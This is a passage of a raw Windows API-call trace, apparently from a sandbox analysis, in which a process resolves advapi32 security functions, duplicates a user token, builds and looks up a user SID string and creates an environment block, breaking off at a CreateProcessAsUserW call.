lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0075.925] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0075.925] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0075.925] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0075.925] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0075.926] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0075.926] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0075.926] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0075.926] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0075.927] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0075.927] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0075.927] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0075.928] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0075.928] malloc (_Size=0x18) returned 0xeef20 [0075.928] DuplicateTokenEx (in: hExistingToken=0x244, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x234) returned 1 [0075.928] malloc (_Size=0x48) returned 0xed400 [0075.928] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x56393180, dwHighDateTime=0x1d9eb0c)) [0075.928] SetEvent (hEvent=0x1f0) returned 1 [0075.939] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0075.939] GetLastError () returned 0x7a [0075.939] malloc (_Size=0x2c) returned 0xee200 [0075.939] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0075.939] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0075.939] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0075.939] malloc (_Size=0x1c) returned 0xeff60 [0075.939] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0075.939] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0075.939] malloc (_Size=0x18) returned 0xeef20 [0075.940] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0075.940] malloc (_Size=0x18) returned 0xeef60 [0075.940] malloc (_Size=0x18) returned 0xef020 [0075.940] SysStringLen (param_1="S-1-") returned 0x4 [0075.940] SysStringLen (param_1="5") returned 0x1 [0075.940] memcpy (in: _Dst=0x381058, _Src=0x381358, _Size=0xa | out: _Dst=0x381058) returned 0x381058 [0075.940] memcpy (in: _Dst=0x381060, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x381060) returned 0x381060 [0075.940] free (_Block=0xeef20) [0075.940] free (_Block=0xeef60) [0075.940] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0075.940] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0075.940] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0075.940] malloc (_Size=0x18) returned 0xeef60 [0075.941] malloc (_Size=0x18) returned 0xeef20 [0075.941] SysStringLen (param_1="S-1-5") returned 0x5 [0075.941] SysStringLen (param_1="-") returned 0x1 [0075.941] memcpy (in: _Dst=0x3812f8, _Src=0x381058, _Size=0xc | out: _Dst=0x3812f8) returned 0x3812f8 [0075.941] memcpy (in: _Dst=0x381302, _Src=0x381358, _Size=0x4 | out: _Dst=0x381302) returned 0x381302 [0075.941] free (_Block=0xef020) [0075.941] free (_Block=0xeef60) [0075.941] malloc (_Size=0x18) returned 0xeef60 [0075.941] malloc (_Size=0x18) returned 0xef020 [0075.941] SysStringLen (param_1="S-1-5-") returned 0x6 [0075.941] SysStringLen (param_1="21") returned 0x2 [0075.941] memcpy (in: _Dst=0x381358, _Src=0x3812f8, _Size=0xe | out: _Dst=0x381358) returned 0x381358 [0075.941] memcpy (in: _Dst=0x381364, _Src=0x381058, _Size=0x6 | out: _Dst=0x381364) returned 0x381364 [0075.941] free (_Block=0xeef20) [0075.942] free (_Block=0xeef60) [0075.942] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0075.942] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0075.942] malloc (_Size=0x18) returned 0xeef60 [0075.942] malloc (_Size=0x18) returned 0xeef20 [0075.942] SysStringLen (param_1="S-1-5-21") returned 0x8 [0075.942] SysStringLen (param_1="-") returned 0x1 [0075.942] memcpy (in: _Dst=0x381058, _Src=0x381358, _Size=0x12 | out: _Dst=0x381058) returned 0x381058 [0075.942] memcpy (in: _Dst=0x381068, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x381068) returned 0x381068 [0075.942] free (_Block=0xef020) [0075.942] free (_Block=0xeef60) [0075.942] malloc (_Size=0x18) returned 0xeef60 [0075.942] malloc (_Size=0x18) returned 0xef020 [0075.943] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0075.943] SysStringLen (param_1="4219442223") returned 0xa [0075.943] memcpy (in: _Dst=0x337788, _Src=0x381058, _Size=0x14 | out: _Dst=0x337788) returned 0x337788 [0075.943] memcpy (in: _Dst=0x33779a, _Src=0x381358, _Size=0x16 | out: _Dst=0x33779a) returned 0x33779a [0075.943] free (_Block=0xeef20) [0075.943] free (_Block=0xeef60) [0075.943] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0075.943] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0075.943] malloc (_Size=0x18) returned 0xeef60 [0075.943] malloc (_Size=0x18) returned 0xeef20 [0075.943] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0075.943] SysStringLen (param_1="-") returned 0x1 [0075.943] memcpy (in: _Dst=0x337aa8, _Src=0x337788, _Size=0x28 | out: _Dst=0x337aa8) returned 0x337aa8 [0075.944] memcpy (in: _Dst=0x337ace, _Src=0x381058, _Size=0x4 | out: _Dst=0x337ace) returned 0x337ace [0075.944] free (_Block=0xef020) [0075.944] free (_Block=0xeef60) [0075.944] malloc (_Size=0x18) returned 0xeef60 [0075.944] malloc (_Size=0x18) returned 0xef020 [0075.944] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0075.944] SysStringLen (param_1="4223814209") returned 0xa [0075.944] memcpy (in: _Dst=0x34d958, _Src=0x337aa8, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0075.944] memcpy (in: _Dst=0x34d980, _Src=0x381058, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0075.944] free (_Block=0xeef20) [0075.944] free (_Block=0xeef60) [0075.944] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0075.944] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0075.944] malloc (_Size=0x18) returned 0xeef60 [0075.945] malloc (_Size=0x18) returned 0xeef20 [0075.945] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0075.945] SysStringLen (param_1="-") returned 0x1 [0075.945] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x3e | out: _Dst=0x34dc88) returned 0x34dc88 [0075.945] memcpy (in: _Dst=0x34dcc4, _Src=0x381058, _Size=0x4 | out: _Dst=0x34dcc4) returned 0x34dcc4 [0075.945] free (_Block=0xef020) [0075.945] free (_Block=0xeef60) [0075.945] malloc (_Size=0x18) returned 0xeef60 [0075.945] malloc (_Size=0x18) returned 0xef020 [0075.945] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0075.945] SysStringLen (param_1="3835049652") returned 0xa [0075.945] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0075.945] memcpy (in: _Dst=0x34d996, _Src=0x381058, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0075.946] free (_Block=0xeef20) [0075.946] free (_Block=0xeef60) [0075.946] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0075.946] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0075.946] malloc (_Size=0x18) returned 0xeef60 [0075.946] malloc (_Size=0x18) returned 0xeef20 [0075.946] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0075.946] SysStringLen (param_1="-") returned 0x1 [0075.946] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x54 | out: _Dst=0x34dc88) returned 0x34dc88 [0075.946] memcpy (in: _Dst=0x34dcda, _Src=0x381058, _Size=0x4 | out: _Dst=0x34dcda) returned 0x34dcda [0075.946] free (_Block=0xef020) [0075.946] free (_Block=0xeef60) [0075.946] malloc (_Size=0x18) returned 0xeef60 [0075.947] malloc (_Size=0x18) returned 0xef020 [0075.947] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0075.947] SysStringLen (param_1="1000") returned 0x4 [0075.947] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0075.947] memcpy (in: _Dst=0x34d9ac, _Src=0x381058, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0075.947] free (_Block=0xeef20) [0075.947] free (_Block=0xeef60) [0075.947] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0075.947] malloc (_Size=0x5e) returned 0xf0800 [0075.947] free (_Block=0xef020) [0075.947] malloc (_Size=0x18) returned 0xef020 [0075.948] free (_Block=0xf0800) [0075.948] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0075.950] GetLastError () returned 0x7a [0075.950] malloc (_Size=0x14) returned 0xeef60 [0075.950] malloc (_Size=0x16) returned 0xeef20 [0075.950] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebcca4, ReferencedDomainName=0xeef20, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0075.951] malloc (_Size=0x18) returned 0xef040 [0075.951] malloc (_Size=0x18) returned 0xeef00 [0075.951] free (_Block=0xeef60) [0075.951] free (_Block=0xeef20) [0075.951] free (_Block=0xeff60) [0075.951] free (_Block=0xeef00) [0075.951] free (_Block=0xef040) [0075.952] free (_Block=0xef020) [0075.952] free (_Block=0xee200) [0075.952] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0075.952] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0075.952] GetLastError () returned 0x7a [0075.953] malloc (_Size=0x2c) returned 0xee240 [0075.953] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0075.953] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0075.953] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0075.953] malloc (_Size=0x1c) returned 0xeff60 [0075.953] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0075.953] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0075.953] malloc (_Size=0x18) returned 0xef020 [0075.953] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0075.953] malloc (_Size=0x18) returned 0xef040 [0075.953] malloc (_Size=0x18) returned 0xeef00 [0075.953] SysStringLen (param_1="S-1-") returned 0x4 [0075.953] SysStringLen (param_1="5") returned 0x1 [0075.953] memcpy (in: _Dst=0x381358, _Src=0x3812f8, _Size=0xa | out: _Dst=0x381358) returned 0x381358 [0075.954] memcpy (in: _Dst=0x381360, _Src=0x381058, _Size=0x4 | out: _Dst=0x381360) returned 0x381360 [0075.954] free (_Block=0xef020) [0075.954] free (_Block=0xef040) [0075.954] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0075.954] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0075.954] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0075.954] malloc (_Size=0x18) returned 0xef040 [0075.954] malloc (_Size=0x18) returned 0xef020 [0075.954] SysStringLen (param_1="S-1-5") returned 0x5 [0075.954] SysStringLen (param_1="-") returned 0x1 [0075.954] memcpy (in: _Dst=0x381058, _Src=0x381358, _Size=0xc | out: _Dst=0x381058) returned 0x381058 [0075.954] memcpy (in: _Dst=0x381062, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x381062) returned 0x381062 [0075.954] free (_Block=0xeef00) [0075.955] free (_Block=0xef040) [0075.955] malloc (_Size=0x18) returned 0xef040 [0075.955] malloc (_Size=0x18) returned 0xeef00 [0075.955] SysStringLen (param_1="S-1-5-") returned 0x6 [0075.955] SysStringLen (param_1="21") returned 0x2 [0075.955] memcpy (in: _Dst=0x3812f8, _Src=0x381058, _Size=0xe | out: _Dst=0x3812f8) returned 0x3812f8 [0075.955] memcpy (in: _Dst=0x381304, _Src=0x381358, _Size=0x6 | out: _Dst=0x381304) returned 0x381304 [0075.955] free (_Block=0xef020) [0075.955] free (_Block=0xef040) [0075.955] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0075.955] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0075.955] malloc (_Size=0x18) returned 0xef040 [0075.955] malloc (_Size=0x18) returned 0xef020 [0075.956] SysStringLen (param_1="S-1-5-21") returned 0x8 [0075.956] SysStringLen (param_1="-") returned 0x1 [0075.956] memcpy (in: _Dst=0x381358, _Src=0x3812f8, _Size=0x12 | out: _Dst=0x381358) returned 0x381358 [0075.956] memcpy (in: _Dst=0x381368, _Src=0x381058, _Size=0x4 | out: _Dst=0x381368) returned 0x381368 [0075.956] free (_Block=0xeef00) [0075.956] free (_Block=0xef040) [0075.956] malloc (_Size=0x18) returned 0xef040 [0075.956] malloc (_Size=0x18) returned 0xeef00 [0075.956] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0075.956] SysStringLen (param_1="4219442223") returned 0xa [0075.956] memcpy (in: _Dst=0x337788, _Src=0x381358, _Size=0x14 | out: _Dst=0x337788) returned 0x337788 [0075.956] memcpy (in: _Dst=0x33779a, _Src=0x3812f8, _Size=0x16 | out: _Dst=0x33779a) returned 0x33779a [0075.956] free (_Block=0xef020) [0075.957] free (_Block=0xef040) [0075.957] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0075.957] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0075.957] malloc (_Size=0x18) returned 0xef040 [0075.957] malloc (_Size=0x18) returned 0xef020 [0075.957] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0075.957] SysStringLen (param_1="-") returned 0x1 [0075.957] memcpy (in: _Dst=0x337aa8, _Src=0x337788, _Size=0x28 | out: _Dst=0x337aa8) returned 0x337aa8 [0075.957] memcpy (in: _Dst=0x337ace, _Src=0x381358, _Size=0x4 | out: _Dst=0x337ace) returned 0x337ace [0075.957] free (_Block=0xeef00) [0075.957] free (_Block=0xef040) [0075.957] malloc (_Size=0x18) returned 0xef040 [0075.957] malloc (_Size=0x18) returned 0xeef00 [0075.957] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0075.958] SysStringLen (param_1="4223814209") returned 0xa [0075.958] memcpy (in: _Dst=0x34dc88, _Src=0x337aa8, _Size=0x2a | out: _Dst=0x34dc88) returned 0x34dc88 [0075.958] memcpy (in: _Dst=0x34dcb0, _Src=0x381358, _Size=0x16 | out: _Dst=0x34dcb0) returned 0x34dcb0 [0075.958] free (_Block=0xef020) [0075.958] free (_Block=0xef040) [0075.958] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0075.958] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0075.958] malloc (_Size=0x18) returned 0xef040 [0075.958] malloc (_Size=0x18) returned 0xef020 [0075.958] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0075.958] SysStringLen (param_1="-") returned 0x1 [0075.958] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0075.958] memcpy (in: _Dst=0x34d994, _Src=0x381358, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0075.959] free (_Block=0xeef00) [0075.959] free (_Block=0xef040) [0075.959] malloc (_Size=0x18) returned 0xef040 [0075.959] malloc (_Size=0x18) returned 0xeef00 [0075.959] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0075.959] SysStringLen (param_1="3835049652") returned 0xa [0075.959] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x40 | out: _Dst=0x34dc88) returned 0x34dc88 [0075.959] memcpy (in: _Dst=0x34dcc6, _Src=0x381358, _Size=0x16 | out: _Dst=0x34dcc6) returned 0x34dcc6 [0075.959] free (_Block=0xef020) [0075.959] free (_Block=0xef040) [0075.959] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0075.959] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0075.959] malloc (_Size=0x18) returned 0xef040 [0075.960] malloc (_Size=0x18) returned 0xef020 [0075.960] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0075.960] SysStringLen (param_1="-") returned 0x1 [0075.960] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0075.960] memcpy (in: _Dst=0x34d9aa, _Src=0x381358, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0075.960] free (_Block=0xeef00) [0075.960] free (_Block=0xef040) [0075.960] malloc (_Size=0x18) returned 0xef040 [0075.960] malloc (_Size=0x18) returned 0xeef00 [0075.960] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0075.960] SysStringLen (param_1="1000") returned 0x4 [0075.960] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x56 | out: _Dst=0x34dc88) returned 0x34dc88 [0075.960] memcpy (in: _Dst=0x34dcdc, _Src=0x381358, _Size=0xa | out: _Dst=0x34dcdc) returned 0x34dcdc [0075.961] free (_Block=0xef020) [0075.961] free (_Block=0xef040) [0075.961] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0075.961] malloc (_Size=0x5e) returned 0xf0800 [0075.961] free (_Block=0xeef00) [0075.961] malloc (_Size=0x18) returned 0xeef00 [0075.961] free (_Block=0xf0800) [0075.961] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0076.006] GetLastError () returned 0x7a [0076.006] malloc (_Size=0x14) returned 0xef040 [0076.006] malloc (_Size=0x16) returned 0xef020 [0076.006] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef040, cchName=0xebccb4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0076.007] malloc (_Size=0x18) returned 0xeef20 [0076.007] malloc (_Size=0x18) returned 0xeef60 [0076.007] free (_Block=0xef040) [0076.007] free (_Block=0xef020) [0076.007] free (_Block=0xeff60) [0076.007] free (_Block=0xeef60) [0076.008] free (_Block=0xeef20) [0076.008] free (_Block=0xeef00) [0076.008] free (_Block=0xee240) [0076.009] malloc (_Size=0x48) returned 0xed400 [0076.009] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0076.014] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0076.014] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0076.015] malloc (_Size=0x18) returned 0xeef00 [0076.015] CreateEnvironmentBlock () returned 0x1 [0076.021] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0076.021] malloc (_Size=0x18) returned 0xeef20 [0076.021] CreateProcessAsUserW (in: hToken=0x234, 